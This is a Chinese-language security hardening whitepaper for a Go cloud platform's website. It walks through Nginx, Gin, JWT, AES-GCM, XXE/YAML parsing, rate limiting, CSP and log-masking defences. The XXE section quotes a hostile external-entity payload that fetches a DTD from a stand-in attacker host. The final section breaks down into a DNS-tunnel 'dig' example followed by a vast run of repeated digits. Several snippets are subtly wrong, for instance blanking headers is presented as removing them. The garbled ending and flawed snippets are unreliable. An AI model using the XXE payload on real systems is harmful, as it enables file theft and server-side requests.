第一章:Go云平台官网安全加固白皮书概述
本白皮书面向Go云平台官方门户网站(https://go.cloud.example)的安全防护体系建设,聚焦Web层、API服务、静态资源交付及运维基础设施四大核心面,提供可落地、可验证、可审计的安全加固方案。所有措施均基于OWASP Top 10 2023、CIS Benchmarks v2.0.0及等保2.0三级要求进行对齐,并已在生产环境完成灰度验证。
安全加固目标
- 实现HTTPS强制跳转与TLS 1.3最小化配置
- 消除全部已知高危HTTP响应头泄露(如
X-Powered-By、Server) - API端点默认启用速率限制与请求体大小校验
- 静态资源通过Subresource Integrity(SRI)校验保障完整性
关键技术栈约束
| 组件 | 版本要求 | 强制策略 |
|---|---|---|
| Go Runtime | ≥1.21.0 | 禁用GODEBUG=gcstoptheworld=1 |
| Gin Framework | ≥1.9.1 | 启用gin.RecoveryWithWriter日志拦截 |
| Nginx | ≥1.22.1 | add_header X-Content-Type-Options "nosniff" 必配 |
HTTPS强制重定向配置示例
在Nginx入口配置中添加以下规则,确保所有HTTP请求301跳转至HTTPS:
server {
listen 80;
server_name go.cloud.example;
return 301 https://$host$request_uri; # 无条件重定向,避免协议降级
}
该配置需配合ACME客户端(如certbot)自动续签证书,并通过curl -I http://go.cloud.example验证返回状态码为301且Location头指向HTTPS地址。
敏感头移除操作
在Gin中间件中注入统一响应头清理逻辑:
func SecurityHeaders() gin.HandlerFunc {
return func(c *gin.Context) {
c.Header("X-Powered-By", "") // 清空框架标识
c.Header("Server", "") // 隐藏服务器信息
c.Header("X-Frame-Options", "DENY") // 防止点击劫持
c.Next()
}
}
// 在router.Use(SecurityHeaders())中启用
此中间件须置于所有业务路由之前,确保每个响应均经净化处理。
第二章:OWASP Top 10威胁建模与Go语言原生防御机制
2.1 注入类漏洞的Go HTTP Handler层拦截与sqlx/parameterized query实践
HTTP Handler层预检拦截
在 http.HandlerFunc 中统一校验请求参数,拒绝含SQL关键字或非法字符的输入:
func safeHandler(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
for _, v := range []string{r.URL.Query().Get("id"), r.PostFormValue("name")} {
if strings.ContainsAny(v, ";'\"--/*+") {
http.Error(w, "Invalid input", http.StatusBadRequest)
return
}
}
next.ServeHTTP(w, r)
})
}
逻辑说明:对常见注入特征符(
;,',--,/*等)做快速字符串扫描;适用于低延迟场景,但不可替代参数化查询。
sqlx + 参数化查询实践
使用 sqlx.Named 实现安全绑定:
| 参数名 | 类型 | 说明 |
|---|---|---|
:id |
int | 路径/查询参数解析后强转整型 |
:name |
string | 经 html.EscapeString 过滤后的用户输入 |
type User struct { ID int; Name string }
query := `SELECT * FROM users WHERE id = :id AND name = :name`
err := db.Select(&users, query, map[string]interface{}{"id": 123, "name": "Alice"})
sqlx.Named将命名参数交由数据库驱动原生处理,彻底规避拼接风险;map[string]interface{}提供灵活绑定,避免结构体冗余定义。
2.2 认证与会话管理:基于Gin-JWT与Secure Cookie的Go实现与Token生命周期管控
安全凭证分层设计
JWT用于无状态身份校验,Secure HTTP-Only Cookie承载refresh_token,实现访问令牌(access_token)短期有效、刷新令牌长期受控的双Token模式。
Token生命周期策略
| 令牌类型 | 有效期 | 存储位置 | 是否可撤销 |
|---|---|---|---|
access_token |
15分钟 | Authorization Header | 否(短时失效) |
refresh_token |
7天 | HttpOnly Cookie | 是(服务端黑名单) |
Gin-JWT中间件配置示例
authMiddleware := jwtmiddleware.New(jwtmiddleware.Config{
SigningKey: []byte(os.Getenv("JWT_SECRET")),
ContextKey: "user",
TokenLookup: "header:Authorization,cookie:refresh_token", // 支持多源解析
TokenHeadName: "Bearer",
Secure: true, // 仅HTTPS传输
SameSite: http.SameSiteStrictMode,
})
逻辑说明:
SigningKey需强随机且环境隔离;Secure: true强制HTTPS防止Cookie明文泄露;SameSiteStrictMode阻断跨站请求携带,防御CSRF;TokenLookup支持Header+Cookie双路径,为后续refresh流程预留扩展。
刷新流程时序
graph TD
A[客户端请求 /api/protected] --> B{access_token 过期?}
B -->|是| C[携带 refresh_token Cookie 请求 /auth/refresh]
C --> D[校验 refresh_token 签名 & 黑名单]
D -->|有效| E[签发新 access_token + 可选轮换 refresh_token]
D -->|无效| F[返回 401 清除 Cookie]
2.3 敏感数据泄露防护:Go标准库crypto/aes-gcm与结构体字段级加密注解设计
字段级加密的必要性
现代Web服务中,用户邮箱、身份证号等敏感字段常跨层传递(DB → Service → API),传统全量加密或ORM钩子难以精准控制粒度。需在结构体定义时即声明加密策略。
AES-GCM安全基座
Go标准库 crypto/aes + crypto/cipher 提供AEAD能力,保障机密性与完整性:
func NewGCM(key []byte) (cipher.AEAD, error) {
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
return cipher.NewGCM(block) // 使用AES-256-GCM,nonce长度12字节,tag长度16字节
}
逻辑分析:
cipher.NewGCM构建认证加密器,要求密钥长度为32字节(AES-256),nonce不可重用;加密输出 = 密文 + 16字节认证标签(MAC),解密失败时返回cipher.ErrInvalidTag。
注解驱动的结构体标记
通过结构体标签声明加密字段:
| 字段名 | 标签示例 | 含义 |
|---|---|---|
Email |
`json:"email" encrypt:"aes-gcm"` |
启用AES-GCM加密 |
IDCard |
`json:"id_card" encrypt:"aes-gcm,mode=detached"` |
分离式密文存储 |
自动化加解密流程
graph TD
A[Struct Marshal] --> B{字段含 encrypt tag?}
B -->|Yes| C[生成随机nonce]
B -->|No| D[直序列化]
C --> E[AES-GCM加密+附加tag]
E --> F[base64编码存入JSON]
加密上下文管理
- 密钥由KMS托管,运行时注入;
- nonce严格单次使用,随密文持久化存储;
- 解密失败时panic并记录审计日志。
2.4 XML外部实体(XXE)与YAML解析风险:go-yaml/v3与xml.Decoder的安全配置与自定义Unmarshaler实现
XXE攻击原理简析
XML解析器默认启用外部实体解析,攻击者可利用<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd">加载远程资源或读取本地文件(如/etc/passwd)。
go-yaml/v3安全实践
import "gopkg.in/yaml.v3"
// 安全配置:禁用未知字段 + 限制嵌套深度
decoder := yaml.NewDecoder(strings.NewReader(data))
decoder.KnownFields(true) // 拒绝未声明字段
decoder.SetStrict(true) // 阻止类型模糊匹配
decoder.SetMaxAliases(0) // 禁用别名循环引用
SetMaxAliases(0)彻底关闭别名支持,防止恶意递归;KnownFields(true)配合结构体标签yaml:",required"实现强契约校验。
xml.Decoder加固方案
| 配置项 | 默认值 | 安全值 | 作用 |
|---|---|---|---|
EntityReader |
nil |
io.NopCloser(bytes.NewReader(nil)) |
禁用外部实体加载 |
CharsetReader |
nil |
自定义UTF-8校验函数 | 防止编码混淆 |
自定义Unmarshaler防御链
func (u *User) UnmarshalYAML(value *yaml.Node) error {
if len(value.Content) == 0 {
return errors.New("empty YAML node")
}
// 仅允许字符串、数字、布尔值——拒绝嵌套映射/序列
if value.Kind != yaml.ScalarNode && value.Kind != yaml.SequenceNode {
return errors.New("unsupported YAML kind")
}
return value.Decode(u)
}
该实现将反序列化控制权收归业务层,强制执行白名单数据形态,规避v3默认宽松解析策略。
2.5 安全配置错误:Go应用启动时的环境校验、TLS强制启用及ConfigProvider抽象层代码落地
启动时环境校验:拒绝不安全默认值
应用启动前必须验证关键安全上下文,例如 ENV 非 production 时禁用 TLS 强制策略(仅开发调试允许 HTTP):
func ValidateEnvironment() error {
if os.Getenv("ENV") == "" {
return errors.New("missing required ENV environment variable")
}
if os.Getenv("ENV") == "production" && os.Getenv("TLS_CERT_PATH") == "" {
return errors.New("TLS_CERT_PATH required in production")
}
return nil
}
逻辑分析:校验
ENV是否为空(防误部署),并在production下强制要求TLS_CERT_PATH存在。参数TLS_CERT_PATH是证书文件路径,缺失将导致 HTTPS 无法启用。
ConfigProvider 抽象层统一注入
定义接口解耦配置源(文件/环境变量/远程配置中心):
| 实现方式 | 加载优先级 | TLS 强制开关支持 |
|---|---|---|
| EnvConfig | 高 | ✅ |
| YAMLFileConfig | 中 | ✅ |
| ConsulConfig | 低 | ✅ |
TLS 强制启用流程
graph TD
A[App Start] --> B{ENV == production?}
B -->|Yes| C[Load TLS Cert/Key]
B -->|No| D[Allow HTTP fallback]
C --> E[ListenAndServeTLS]
D --> F[ListenAndServe]
安全兜底:生产环境自动拒绝 HTTP
func NewServer(cfg ConfigProvider) *http.Server {
tlsEnabled := cfg.GetBool("tls.enabled", false) ||
os.Getenv("ENV") == "production"
if tlsEnabled && cfg.GetString("tls.cert") == "" {
panic("TLS enabled but cert not provided")
}
// ...
}
逻辑分析:
tls.enabled默认由环境自动推导;若为 production,则tls.cert为空直接 panic,杜绝静默降级。
第三章:七层纵深防御体系架构设计
3.1 防御分层模型:从HTTP中间件到业务逻辑层的Go责任链模式实现
防御不应仅依赖单一网关,而需贯穿请求生命周期。Go 中的责任链天然适配分层防御:HTTP 中间件拦截非法请求,服务层校验业务规则,数据层执行最终约束。
分层职责映射
- 接入层:JWT鉴权、速率限制
- 服务层:租户隔离、权限上下文注入
- 领域层:业务规则断言(如“余额 ≥ 扣款金额”)
type HandlerFunc func(ctx context.Context, req interface{}) (resp interface{}, err error)
func Chain(hs ...HandlerFunc) HandlerFunc {
return func(ctx context.Context, req interface{}) (interface{}, error) {
for _, h := range hs {
resp, err := h(ctx, req)
if err != nil {
return nil, err // 短路退出
}
req = resp // 传递修改后的请求/上下文
}
return req, nil
}
}
Chain 将多个 HandlerFunc 串成单向链;每个处理器可读写 req 并决定是否继续;ctx 支持超时与取消传播,err 触发立即终止。
关键参数说明
| 参数 | 类型 | 作用 |
|---|---|---|
ctx |
context.Context |
携带超时、取消信号与跨层元数据 |
req |
interface{} |
可变请求体,支持结构体或 map 动态透传 |
graph TD
A[HTTP Middleware] --> B[Auth & Rate Limit]
B --> C[Service Layer]
C --> D[Tenant Context Inject]
D --> E[Domain Logic]
E --> F[DB Constraint Check]
3.2 网络层→应用层→数据层的Go可观测性埋点与实时阻断联动机制
埋点链路设计
采用 OpenTelemetry SDK 统一注入三层上下文:网络层(HTTP middleware)、应用层(业务 handler)、数据层(DB driver wrapper)。各层通过 context.Context 透传 trace.Span,确保 span ID 全链路一致。
实时阻断触发逻辑
当观测到异常指标(如 P99 延迟 >1s 或 SQL 执行失败率突增 ≥5%),触发熔断器回调:
// 数据层埋点+阻断钩子
func (w *DBWrapper) ExecContext(ctx context.Context, query string, args ...any) (sql.Result, error) {
span := trace.SpanFromContext(ctx)
defer func() {
if err != nil {
span.SetStatus(codes.Error, err.Error())
// 触发跨层阻断信号
if shouldBlockByMetrics(span.SpanContext().TraceID().String()) {
blockSignal <- BlockEvent{TraceID: span.SpanContext().TraceID().String(), Layer: "data"}
}
}
}()
return w.db.ExecContext(ctx, query, args...)
}
逻辑分析:
shouldBlockByMetrics基于 Prometheus 指标实时查询(如http_server_duration_seconds_bucket{le="1"}),参数TraceID用于关联全链路日志与告警;blockSignal是带缓冲的 channel,由独立 goroutine 消费并调用net/http/pprof阻断或sqlmock动态禁用连接池。
联动响应流程
graph TD
A[网络层 HTTP 499/5xx] -->|上报指标| B[Prometheus]
C[应用层 panic] -->|OTel event| B
D[数据层慢查询] -->|span.status==ERROR| B
B --> E{告警引擎}
E -->|阈值触发| F[向 /api/v1/block POST]
F --> G[动态更新 Gin 中间件黑名单]
F --> H[关闭 DB 连接池 idle conn]
关键配置参数表
| 参数 | 作用 | 默认值 |
|---|---|---|
BLOCK_WINDOW_SECONDS |
指标滑动窗口长度 | 60 |
BLOCK_THRESHOLD_PCT |
异常率触发阈值 | 5.0 |
BLOCK_TTL_SECONDS |
阻断有效期 | 300 |
3.3 基于Go泛型的策略注册中心与动态防护规则引擎设计
核心抽象:泛型策略接口
定义统一策略契约,支持任意输入/输出类型:
type Strategy[T any, R any] interface {
Name() string
Apply(ctx context.Context, input T) (R, error)
}
T 为请求上下文(如 http.Request 或自定义 AttackPayload),R 为判定结果(如 bool 或 RuleDecision)。泛型约束确保编译期类型安全,避免运行时断言开销。
策略注册中心实现
使用 map[string]any 存储策略实例,配合泛型工厂函数注册:
| 策略类型 | 输入类型 | 输出类型 | 典型用途 |
|---|---|---|---|
| RateLimiter | *http.Request |
bool |
请求频控 |
| IPBlacklist | string |
bool |
源IP封禁 |
| RegexMatcher | string |
RuleDecision |
恶意payload检测 |
动态规则加载流程
graph TD
A[配置变更事件] --> B[解析YAML规则]
B --> C[实例化泛型Strategy]
C --> D[原子替换注册表]
D --> E[触发OnRuleUpdate钩子]
运行时策略调度
通过 StrategyRegistry.Apply("rate-limit", req) 调用,内部自动类型推导与缓存查找,平均调用耗时
第四章:核心防护模块的Go代码级实现
4.1 请求验证中间件:基于go-playground/validator v10的结构化校验与自定义规则嵌入
核心集成模式
使用 validator.New() 初始化校验器,并启用结构体标签解析能力,支持 validate 标签声明约束。
import "github.com/go-playground/validator/v10"
var validate = validator.New()
validate.RegisterValidation("lte-100", func(fl validator.FieldLevel) bool {
return fl.Field().Int() <= 100 // 自定义规则:整数 ≤100
})
该注册将
lte-100规则注入全局校验器;FieldLevel提供字段上下文,fl.Field()返回反射值,适用于任意数值类型校验。
常见校验标签对照表
| 标签 | 含义 | 示例 |
|---|---|---|
required |
非空 | Name stringvalidate:”required”` |
email |
邮箱格式 | Email stringvalidate:”email”` |
gte=1 |
大于等于指定值 | Age intvalidate:”gte=1″` |
请求拦截流程
graph TD
A[HTTP请求] --> B[中间件解析JSON]
B --> C[绑定Struct]
C --> D[调用validate.Struct]
D --> E{校验通过?}
E -->|是| F[继续路由]
E -->|否| G[返回400+错误详情]
4.2 速率限制器:使用golang.org/x/time/rate与Redis-backed分布式限流双模式实现
本地限流:基于 rate.Limiter
import "golang.org/x/time/rate"
limiter := rate.NewLimiter(rate.Limit(100), 5) // 每秒100请求,初始burst=5
if !limiter.Allow() {
http.Error(w, "Too Many Requests", http.StatusTooManyRequests)
}
rate.Limit(100) 表示每秒最大许可速率(QPS),burst=5 允许突发流量最多积压5个请求;Allow() 非阻塞检查,底层基于令牌桶算法,轻量高效,适用于单实例场景。
分布式限流:Redis + Lua 原子计数
| 组件 | 作用 |
|---|---|
| Redis | 共享状态存储 |
| Lua脚本 | 保证INCR+EXPIRE原子性 |
| TTL(如60s) | 自动清理过期窗口 |
双模式协同流程
graph TD
A[HTTP请求] --> B{是否启用分布式模式?}
B -->|是| C[Redis Lua限流]
B -->|否| D[rate.Limiter本地限流]
C --> E[通过?]
D --> E
E -->|否| F[429响应]
E -->|是| G[转发业务逻辑]
4.3 CSP与安全头注入:Go HTTP Server的HeaderWriter中间件与模板安全上下文注入
安全头注入的必要性
现代Web应用需防御XSS、数据注入等攻击,CSP(Content-Security-Policy)是核心防线。Go标准库http.Handler默认不设安全头,需显式注入。
HeaderWriter中间件实现
func HeaderWriter(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.Header().Set("Content-Security-Policy",
"default-src 'self'; script-src 'self' 'unsafe-inline' https://cdn.example.com")
w.Header().Set("X-Content-Type-Options", "nosniff")
w.Header().Set("X-Frame-Options", "DENY")
next.ServeHTTP(w, r)
})
}
该中间件在响应写入前统一注入关键安全头。Content-Security-Policy限制脚本来源,'unsafe-inline'仅用于开发调试;nosniff阻止MIME类型嗅探,DENY防点击劫持。
模板安全上下文注入
Go html/template自动转义,但动态JS/CSS需template.JS或template.CSS显式标记可信内容,避免绕过CSP。
| 头字段 | 作用 | 推荐值 |
|---|---|---|
Content-Security-Policy |
控制资源加载策略 | default-src 'self'; script-src 'self' |
X-Content-Type-Options |
阻止MIME混淆 | nosniff |
X-Frame-Options |
防止页面被嵌套 | DENY |
graph TD
A[HTTP请求] --> B[HeaderWriter中间件]
B --> C[注入CSP/X-Frame-Options等]
C --> D[Handler业务逻辑]
D --> E[html/template渲染]
E --> F[自动转义+安全上下文校验]
4.4 日志脱敏与审计追踪:zap.Logger Hook + context.Value链路标识与PII字段自动掩码
链路标识注入
使用 context.WithValue 注入唯一 traceID,确保跨 goroutine 日志可追溯:
ctx := context.WithValue(context.Background(), "trace_id", uuid.New().String())
context.Value 是轻量级键值载体,需配合自定义 zap.Field 在日志中透传。
PII 字段自动掩码 Hook
func PiiMaskHook() zapcore.Hook {
return zapcore.HookFunc(func(entry zapcore.Entry) error {
for i := range entry.Fields {
if isPiiKey(entry.Fields[i].Key) {
entry.Fields[i].String = "***"
}
}
return nil
})
}
该 Hook 遍历所有 zap.Field,对敏感键(如 "phone"、"id_card")执行恒定掩码 ***,不依赖日志结构体定义。
敏感字段映射表
| 字段名 | 类型 | 掩码规则 |
|---|---|---|
phone |
string | ***-****-**** |
email |
string | u***@d***.com |
id_card |
string | ************1234 |
审计上下文集成
logger := zap.New(core).With(zap.String("trace_id", ctx.Value("trace_id").(string)))
结合 zap.Logger.With() 动态注入 traceID,实现日志条目与请求链路强绑定。
第五章:结语与持续安全演进路线
网络安全不是终点,而是一场动态博弈的持续进程。某省级政务云平台在完成等保2.0三级整改后,仍于2023年Q3遭遇一次基于零日漏洞的横向移动攻击——攻击者利用未及时更新的Log4j 2.17.1旧版本组件绕过WAF,渗透至核心审批服务集群。该事件直接推动其建立“72小时热补丁响应SLA”,并将安全左移纳入CI/CD流水线强制关卡。
安全能力成熟度演进阶梯
采用NIST CSF框架映射组织现状,当前多数中大型企业处于“重复级”向“定义级”跃迁阶段:
| 能力维度 | 当前典型实践 | 下一阶段关键动作 |
|---|---|---|
| 威胁检测 | 基于签名的IDS告警(平均MTTD 4.2h) | 部署UEBA+SOAR实现自动化狩猎(目标MTTD |
| 配置治理 | 手动核查服务器基线 | GitOps驱动的基础设施即代码(IaC)策略即代码(PaC) |
| 供应链风险 | 仅扫描SBOM中已知CVE | 集成Sigstore验证容器镜像签名+二进制制品溯源 |
实战化红蓝对抗常态化机制
某金融集团自2022年起实施“季度无预告攻防演练”,要求蓝队必须在24小时内完成以下闭环:
- 使用
kubectl get pods --all-namespaces -o wide | grep -E "(shell|debug)"定位可疑调试容器 - 通过eBPF探针实时捕获异常DNS隧道流量(如`dig +short a12345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345